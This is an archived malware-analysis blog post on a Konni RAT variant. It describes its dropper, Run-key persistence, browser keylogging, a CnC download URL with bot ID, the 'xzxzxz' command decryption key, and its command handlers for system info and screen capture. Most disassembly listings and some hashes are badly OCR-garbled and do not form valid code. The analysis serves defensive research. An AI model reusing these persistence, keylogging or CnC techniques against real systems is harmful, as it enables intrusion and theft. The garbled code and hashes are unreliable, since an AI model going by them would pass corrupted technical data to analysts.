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Analysis of new variant of Konni RAT

Archived: 2026-04-05 18:58:21 UTC

These days TalosIntelligence commented about a new variant of Konni RAT. It is not a complicated malware, but

it implements some interesting tricks and functionality typical of RATs. I wanted to take a look at something

different (there is more life after the ransomware ) and in this post you can find a brief analysis of this RAT. I

hope you enjoy it.

Before startintg with the post, i would like to refer to you to the TalosIntelligence analysis of a previous variant of

Konni. New variant is similar to the variant analyzed in Talos post. However there are some different things. In

addition i reversed different parts of the code, and i give other details. For this reason i recommend reading both

posts if you are interesting in having a good knowledge about this RAT.

Modules

We have the sample f4abe28f3c35fa75481ae056d8637574. It is a dropper that is able to drop different PE files

depending on the architecture (32 / 64). If we unpack the dropper we can find it has two PE files and two DOCX

files into resources:
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Docx filel: 63a43fe8874fbbf3adb1b9aeb03adb6bfaa2935a40bb1893e90e3ab762dd44bd
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Docx file2: a12db66cb7b7b991ac2ba736fb48e04566ffd2defdcb08fb9a8ab3781253f73c¢
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PE filel: 290b1e2415f88fc3dd1d53db3baS0c4a760cf645526c8240af650751b1652b8a

PE file2: 8aef427aba54581f9¢3dc923d8464a92b2d4e83cdf0fd6ace00e8035ee2936ad

PE files are packed with ASPack v2.12.

We will analyze the 32 bit version.

RAT module

The 32 bits rat module is installed into this folder:
C:\Users\<user>\AppData\Local\MFAData\event\errorevent.dll
And the Run registry key is modified:

[HKEY_CURRENT_ USER\Software\Microsoft\Windows\CurrentVersion\Run]
“RTHDVCP”="rundll32.exe C:\\Users\\javi\\AppData\\Local\\MFA Data\\event\\errorevent.dll check”

After removing the ASPack v2.12 layer, we take a look into the malware with IDA.
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The malware installs a windows hook and because of this, the errorevent.dll is loaded into machine’s running

processes:

Sdextiobed 1438

textz6DA31438 DoSetWindowsHook proc near ;

Jtext:a6DA31M3A
textiaDB3 1432
et iaDa3 143y
LdLextiobo3 1439
JLext:6aDo3 1430
textzaDaZ 13D
textoaDA3 1 hnh2
textooDadthnh
fertoaDa3144A
Lert oAb e384
JLextiaDBd1anE
Stextiabad1anF

mo
push
mou

mowy

push
push
push
call
mow

retn

DoSetWindowsHook endp

CODE XREF: Install+BCLp
eax, [eocx]

A

dword 6GDO4BEE9A, eax

BCK, [ecx+h]

BCK

offset SetWindowsHookCallback

3
ds:USER32? SetWindowsHookExW
duvord 6DO4EBREE, eaxn

In the SetWindowsHookEx callback, it logs and queues keyboard events together with the window where they

happened. Another thread analyzes the keyboard events, and it keeps to a file events happened in browser

processes:

Ldextz6DBITATA

Ltext:60B37A90 ThreadWorkWithBrowsers proc near

Lextz6bBdiaga

Ltext6DAITAYE var

1068

LLexCioDU3AAYYE var &

Jtextz6DB3ITADE
LfextioDB37AS0
Jtextz6DB3 AV
Ltext:6DAITA9I
JdextzoaDbB3sAavy
textGDAITATE
Ldext6DBIFAAG
Jtext - 6DO3TAND
Ldexti6DB37AAA
dextzaDB3dane
text:6DAI7ABS
LJdextiobod/Abe
text:6DAI7ABE
Ltexti60B37ABE
textoaDBRITACH
ezt :aDB3FACA
LdextoaDbo3sace
text:aDA3FADA
dextzabo3 AD3
Jtextz6DAITADD
ezt iaDB37ADA
LdextcaDBIVAED
Lfext:6DA3TAEA
Jdextz6aDbB3 AR
text:GDAITAEY
LLext:6DB3FAED

It checks these processes names:

Jrdata s 60 assFac 4P:.ip||u|_|3_|:xl:

JddataieDeasF19

wdatazaDBusSFI1C aChrome exe

dFdatazhDBaSFE Yy

rdataz6DALSFIE aFirefox_exe
rdataz6DBNSFI alexplore_exe

dword

[il] 'pblphuuﬁ:unu'.ﬂ

align &
db ‘chrone.exe” , @
align &
db ‘Firefox.exe’ 0

db ‘iexplore.exe’ 0

; DATA KREF: DoCreateThread

byte ptr -108h

ptr -4

ebp
ehp,
esp,
eax, dword o6DB4YATAA

eax, ebhp

[ebp+war 4], eax

dword GDAMAAAR, @

loc_aDB37BFD

184h

eax, [ebp+uvar_168]

eax

6]

ds:kernel3? GetModuleFileMameAStub_
ecx, [ebpruar 108]

BCH

Sub_oDa4ynhe

esp, 4

edw, [ebp+uvar_108]

el

ds:SHLWAPL PathStripPathA_

ehx
esi
ecx,
Pax,
edi

]

188h

ofFfselt alexplore_exe ;
[ebp+var 108]

“iexplore.exe"

: DATA XR ThreadWorkWithBrowsers :loc aDB37B75Ta

: DATA XR s ThréeadidorEWithBrowsers : Lo a0B37BLE TG

thBrowsers:loc ADBATRAGTE

WithBrowsers+52To

Threaddorki
Threadiork

: DATA
: DATA
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Interesting keyboard events are logged to the file:
C:\Users\<user>\AppData\Local\Packages\microsoft\debug.tmp

Other files are used by the RAT in the process of managing commands:

rdatazoDBss5E4s asDebug tmp db ‘%s\debug.tmp’,@ log keyhoard events
rdatazoDBsSELY

.ridataz6DBYSES align 4

rdata:6DENSESY aSPackagesMicro db "%syPackages\microsoft', @
rdataz6DAASEFE aSRepaired db "%s\repaired’ ,0 used to keep downloaded commands
pdataz6DBUWSERLY aSSamed dh "%sysamed' ,B
.FdatazaDBLSERD align 18h

.rdataz:6DBLSEDD aSTedsul ocx db “%sitedsul.ocx’,@
rdata:6eDB4SERE align 18h

rdataz6DBYWSEARD aSHelpsol _ocox db "%s\helpsol.ocx',8
rdata:6DBUSERF align 10h

.rdata:6DBLSEBD aSTrepsl_ocx dh ‘%shvtrepsl.ocx',@
.Fdata:6DBYSEBE align 18n

rdatazoDB4SECE asPsltred ocx db “Hsypsltred.ocx”,8
-rdata:6DBYSECF align 18h

rdata:aDBASEDA aSSolhelp ocx db *"%s\solhelp.ocx",8
.Fdata:6DBUSEDF align 18h

.rdata:6DBYSEED aSSulted ocx db "%shysulted.ocx",0
rdata:6DBYSEEE align 16h

rdataz6DBYSEFA aSHMicrosoft dh "Es\microsoft’ ., @
rdata:6aDBASEFD align 18h

.rdata:6DBLSFAD asSPackages dh '%s%wPackages® ,8

Malware dll is injected into multiple processes. To monitor what malware files are created and written we can use

this breakpoint with instructions (it is splitted in multiple lines for better reading):

bp NtWriteFile -> when NtWriteFile hit, execute the next script
“.foreach (tok { 'handle (poi (esp+4)) }) -> search “Packages” in the path
{

if ($spat(\”${tok}\”, \”*Packages*\”) != 0)

{

da (poi (esp+18));.break; -> if found, print the data written

}
hg”

bp NtWriteFile “.foreach (tok { 'handle (poi (esp+4)) }) { .if ($spat(\”${tok}\”, \”*Packages*\”) != 0) { da (poi
(esp+18));.break;}};g;”

The other RAT functionality is executed under demand, as we will see it in the next section about

communications.

Communications

The malware executes a thread for communications with the CnC. It asks for commands each 15 minutes. A file

with commands is downloaded and parsed, and the commands are executed (and the results uploaded to the CnC):
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ThreadGe tCommands proc near + DATA XREF: Threadéorki thBrowsersiublnportant+15CL0
war_LCC = byte ptr -BCCh
war_i = dward pktr -4
push ebp
now elip, ESp
suli esp, BCCh
noy eax, dword 4DBSATAR
Kor eax, ebp
mow [ebp+uar_&], eax
push esi
noy esl, ds:kerneld?_SleepStub_
lea ehx, [ebx+0] |
loc_6D@ITREG: ; CODE XREF: ThreadGetConmands=62] ]
push noERN ; sleep For 15 minwtes befores asking for more commands
call esi ; kerneld2_SleepStub_
push offFset File_download ; -> CASDZaND (id For this bot. Calculated based
: on computer inFo and installation date)
push offFset aMemberDaumchk : “menber-daosechE .aetal .net®
lea eax, [ebp+uar CC]
push offset aHttpivegetDownlead_ph ; “http://%is/weqet/download.php?file=%s_dr"
push Pax
call log2file
lea ecx, [ebpruar CC] : http://menber-daumchk.netal .net/wveget/download .php?File-CBS02340 dropcom
push offset path repalired ; C:\UsersyjavivappbatavPackages\nicrosoftyrepalred
push BLK
call PolnternetReadFile ; Here 1t is downloading the commands File.
; In the Function ManageCommand it will parse
; the File and will execute the commands
add esp, 18k
push 271
call esi : kerneld2 __Elﬂrpﬂl‘.uhl
call Hanagrl:nlnanrh ]
np short loc_gDOATECE ; sleep For 15 minutes befores asking For more commands
ThreadGetCommands endp

The RAT calculates a value based on the installation time and infected computer info, and that value is used as

bot_id to identify the current infected machine. In my case it generated CB5D234D.
To download the commands it connects by http GET to:

http://member-daumchk.netai.net/weget/download.php?file=CB5D234D dropcom

[GET fweget,download.php7file=CESD2340_dropcom HTTPA1.1
User-Agent: HTTF
|Host: member-daumchk.netai.net

It is:

http://<domain>/weget/download.php?file=<bodid> dropcom

This new variant uses wininet api to connect CnC (Talos analysis about the previous variant says the RAT was

using winsock api connect, send, recv,... instead of http specified api):
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push
push
mou
call
nou
mou
test
ik
push
push
push
push
push
push
call
LLENRN)
Lest
iz
LLENRY)
push
push
call
mou
add
Lest
iz
mnou
mou

lea
push
push
lea
push
push
call
moy
push
push
push
lea
push
call
moy
add
add
test
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4
oftsel aHttp :  HTTP
[ebp+ruar_LBR], eax
dszwininet_Internetipenf_

edi, eax
[ebp+uar_H1@], edi
edi, edi
loc_6DHISBEAL

el

[V ES

[V ES

Bl

esi

eili
dszwininet_InternetOpenlrlA_
esi, Pax

Bsi, esi

loc_6DHE3SE9D

ecy, [ebp+uar 408 ]
offsel unk_6DA4SATAH
BCK

sub_6DB37ERR

edi, eax

Bsp,

edi, edi

short loc_ 6DBA3SE98
[ebpruar LBB], BAk
edi, edi

; CODE XREF: DoInternetReadFile+BD] j
; DolnternetReadFile+GS)j

edx, [ebpruar 4BC] ; suspicious loop{incdec )

By

Laah

#ax, [ebpruar L4AL]

CET

esi

dszwininet InternsetReadFile

ek, [ebpruar LOC]

edi

1

BLH

edx, [ebpruar 4AL]

ey

sub GDAIPZEY

eax, [ebpruvar HAC]

esp, 168h

ehx, eax

Bax, eax

After downloading the commands they are decrypted (key “xzxzxz”) and parsed:
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push ofFfset aR -
push offset Path_Repaired File
call sub_6DE3ITERE

mou edi, eax

push edi

moy [ebp+war A30], edi

call sub_60E39EL40

push eax

call sub_6DAMhAAS

push edi

push eax

lea edx, [ebp+uar AZE]

push 1

push edx

call sub_6DB3IP173

lea eax, [ebp+uvar AZC]

push offset axzHzxz ; “XZRExE"
push eax

call DecryptCommands

mow ebx, eax

add esp, Z#h

test ehxz, ebx

jz errorCheckAndbecryptCommandsFile

The decryption function:

BeEcrypliomRands proc mesr : CODE KREF : Mandgel osmands=nllp

1 HWanageComnands =700 Tp

; HanageComnands- 354 Tp
Bl = duerd pitr &
vy - dwerd pte A
v FUMETION CHUBE AT .cext:sDEIE17@ S1ZE DORGODES HYIES
1 FUMCTIONM CHIUME AT Erat :6DEM 184 SI17F DOSIBEE OVIES
L2 eox, [esprkeg]
push eal
punh rhx
s e
Aoy i, [wex]
L edl, [esprDimsbuf |
Eest di, 41
jz shart Iec ABOEE0TE
L o, [efxei]
Eezl ah, dh
jz sbart lec 6BOI80 0
Loc_6b@Idces: ; GODE KREF: becryptCommandssSH})
 DbeorppiGesmands 68 | |
L esi, i suspiciews loop{wor )
L2 ek, [espriihtkey]
i all, [eel]
add wnl, 1
g al, 491
iz shart lec_6BO3ECHE
Epat al, 4l
jz shart Iec_SRORACER
Log _SpROQECON : CODL KEEV : PecryplCommandsedag]
noy al, [wsi]
A esi, 1

Lloc_&beasache: 7 CODE KEEF: becryptCommands-a5j|

o al, d1 i susploiess_leap{nor
j=z shart lsc_68B38CHE
Eest al, al
Yz shart 1ec_seoinccs
Loe EB@ElEE - ; CODE XREF: hr.rypn:umruh?':lﬂ
pog el
ipog e
pop e
Hor L
relm
Loc_&BESACHE: : CODE XREF: BecryptCommandss25t |
; Decrgpibesmandss 321 )
L al, [esd]
add eEi, 1
L ] al, dh
jnz whart lec_ARSARCEE ; susplclous_looap(=zor §
lra eal, [eai-i]

loc_bDbEFBEER:

P I o ]

loc_&DEINDET

1ac_abErEB? oz

nw
test
IE
i
adal
chp
fnz
o
Rost
iz
i
add
chp
1z

iL ]

Ioe_&003E 186

; COSE XREF : Decrgpilonmsnds &3] |
#h, [eou+d]

sh, a&

sherl lec SDEISSY
al, [esi]

wid, ¥

al, ah

short loc_SDEISLEE
al; [ecu+d]

al, al

short loc dDEIEY
#h, [Es1-1]

rEx, T

al, ah

shset loo_ SDEIBCEA
shisrt loc_SDEISCEE

suspicioes_losp{xor )

susploloes_lospiuor )

i+ CORE XREF: DecrpptConmands 140 ]
PR, PaE
wid
#ha
Fil
al, 4l

; COBME XRIF: Decrgptlonmandsdf T
i Becrypt Commands SFTj

#ax, [edl-1]

esl

wh

v

i COBE EREF: Decrppitonmands+FTj
FaK, i

el

sh

Seeing the communications code, it seems it would be not difficult to create a fake CnC to control a bot (not RSA

keys or something like that are used to certify the command comes from the author).

Once decrypted it starts to parse commands:
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align &
switchCommands dd offset
dd offset
dd offset
dd offset
dd offsel
dd offset
dd offset
dd ofFfFset
align 18h
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loc 60037606

: DATA XREF: ManageCommands+12FT)

HanageCommandlploadConputerInfo ; jump table For switch statement

ManageCommandCaptureScreen
HanageCommandGetFSInlo
HanagebommandGeLFSInFo2
ManageGommandDeleteFile
HanageCommandExecute
loc_6DBR3775E

T T L i
= = T
h.ﬂ.E i = i =
s s e immanog L ssdlangslar lafa: | Jusstsle SDEAPSIT caie 1) |nspelommaniCeptureioromm: | jesptssls SSEFWT caws ¥ Mg elaananalotl d lafe: | jusptabls ABEATSIT casw 3
M1 Bl Casmpiilir 1Al £all e T i e, [eb@ivir 00
paan o [T wifsrt mk_i@miiie (=11 s
sl eal | WrrerldF_SlerpiEub punk eifart s¥rpriiglesiis it B phy cell Erllrtiilrynteninfsl
paai aFEmet unk_ bt 19 T DFFSET Jae e i b st i e, &
fash a4 et avrgrtlpladsd s Liap i Eall P e 2 — 1
- B S PR - t sdd o, rall el © WeessldF Sleepltud
all SuitlgfoLt pu Ll 14a20n SN af it ek aDERCETE
fau #ap, Eh wall Fil | WEEnEIET_Lheepine [ TR e U R i v | [ e,
puh SeiAEk U wifnrt mk dFBMCI0 push aé furt  aidpeerhauschic we pber - swnchi  met ol met
all g5l | MerseldE_ilesphiub_ wall Pleleled Lie call [ TP
fash adFuet unk 40819 add — ad ws@, #h
all Sobelateflie Jisf L BOUNIHE : JuspLanl aull i B
B aip, & call el Horna 10T Slawpliug_
y loc MFEIFREY s jusplabls &FEFFIT L ar Ll affert sk J0INCTIE
calbl Bedrieteiile
wd g, &
in T dBEETRE jumptable SHEITSFF default
—
¥ L L
| " el =
Moo nIGETF EInfel! | jumptable GDEVSFF case & st LeF lle: | jeeprable SREITHF Case § HatiiCommaiisecele: | Jenglable S0AVSIF easi @
Nam wam, [ebgiear EC] Lea won, [ebpewar L) Pl [
BiEE i et wex AUk §
calill Esbieciilirsguirainiaf wali Bebeleted i le i "
ade g, W (o] eap, & 1] wdx, [whpswar CC]
Juss iy o Loc_iesTim jempnable BROETS puss el
£all eil | WEw nel0E_EleephEus puth  wifoet alpes [
FUEE FEFCRT ek SBEAETiE T [
§iiE v Pasl g LBpladd ph ; . call oL IR g S T
piiem PUE L S, P ) w1 & 1 Pk mEk
call e -, - Lo _sEEITEEY
LRy fig,; W
puss FEET Y
eall el o b neldE_Eleepd e
plLE wlfest ek dbEliid
call bidleLeled ile
il Fig, A
1= T LT mptable EISITEET defaalt

Command for collecting computer info

With this command the malware collects different information about the machine:
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niay | Ebperar_ 1665 ), edy

call dszkernel 32 GetConputerHanen_

lea eax, [ehprvar EBS|

push BaK

push offsel aThisGomputerid ; “This compuler’s nane is 525
nush el

call sub GRFAITLED

add esp, G

liesa ecx, [ehprvar 160G

push eLE

lea edk, [ebpruar 1608

push edx

Fiy | ehpewar_ 166E), edi

call dsRPURPTEE GetllserHaned

lea eax, [ebpivar_1608]

push eax

push offset aThisComputersl ; "winThis conputer's usernane is Es"
push esi

call suls GREIFLED

push offset abrivelnformati ; “yeynbeive Infornation is as Follow Seyn
nush esi

call sub GREIFETI

atd esp, 1&h

nnw | phpewar_1618], 1

call dszkerneld? GetlogicalbrivesStuh

ny edi, ds:kerneld2 GetUolupelnformationd
Ty whx, duzhernel3? GetbriveTypeds ol
push offsel adsls £ "\rym 0% i5 & ™

push esi

call subh GDNETEFD

push a5l

tall sub_ 6LUEFLCIF

push attset aFroductnare ; Cprodectnane”

push oFfset afoftwareMice B ; "SOFTHAREAMicrosoftvi\Windows HDWCurren™. ..
push ARREDOOZN

call sulbi_ S0 156

push afFset an = -
piish affset unk aDANE11E
call sub_&LOEZFERD

I

now esil, rax

push affset asystenType ; "“wriwn System Type: ™
push o5

call sub_6DIEFCFS

push 1#3h

1ea edx, [ebpruar 107]

push [

push wilx

nny [ehp=war 184], A

call _sub GROTERDD

add esp, Ruh

push iR

lea eax, [ehpruar 1BR]

pish aas

call ds ckernel 32 RegisterConsolelHE_

pop e

call suh GORETCFE

add psp, @

pusl uFFsel aftartnenuProge 5 “wehnSlartleny Progransheriyn™
push rai

call sub_GDBEITCRE

pusl esi

call suh_aDESFCaE

push nFFset aSoftuarellasse ; USOFTURREANACLassesyvinstalleryvwpeoducts

push RaRRRRZh

call sulb_ G0E2RSERD

now rex, |[ehpsoar &)
add esp, 1k

Command for screen capturing

Capture of the screen it is done here:
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E-L?FI.'EIIIJ-:IP".I.H'E proc nmedar

arg @= dword ptr 8

arg b= dward ptr  BCh
arg_g= dword ptr  1ih
arg_G= dword pte 4h

push
mou
push
push
push
push
call
mou
mow
mou
push
push
push
call
push
call
mou
push
push
call
moy
mou
push
push
push
push
call
push
mou
push
push
push
push
push
call
mou
push
push
push
call
add
push
call
pop
pop
mou
pop
pop
retn

ehp

ebp, esp
b

e5i

edi

]
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ds:G0132 CreateCompatibleDdi

ehx, [ehprarg ]

edi, erax

cax, [ebprarg 8]

e

[EEES

1]

ds:USER32 HtlserGetDC
EEES

ds:GD132 CreateCompatibleBitnap

e5i, Pax

es5i

edi
ds:GDI132_Selectibject_
ecx, [ebprarg_h]
edx, [ebpraryg @]
HLCARZ AR

By

L0 P

1]
d5:USERAZ_HEtlserGetDG_
rax

eax, [ebpraryg_ 8]
ehx

EES

]

i}

il

s :[:DI:‘I?_I!'i.l‘IH LI
ey, [ehpearg #]
ehx

[

(251

sub_ GDAIGYSE
esp, BCh

B5]

ds:G0132 Deletelbject
i

[

al, 1

el

ebp

screencapture endp
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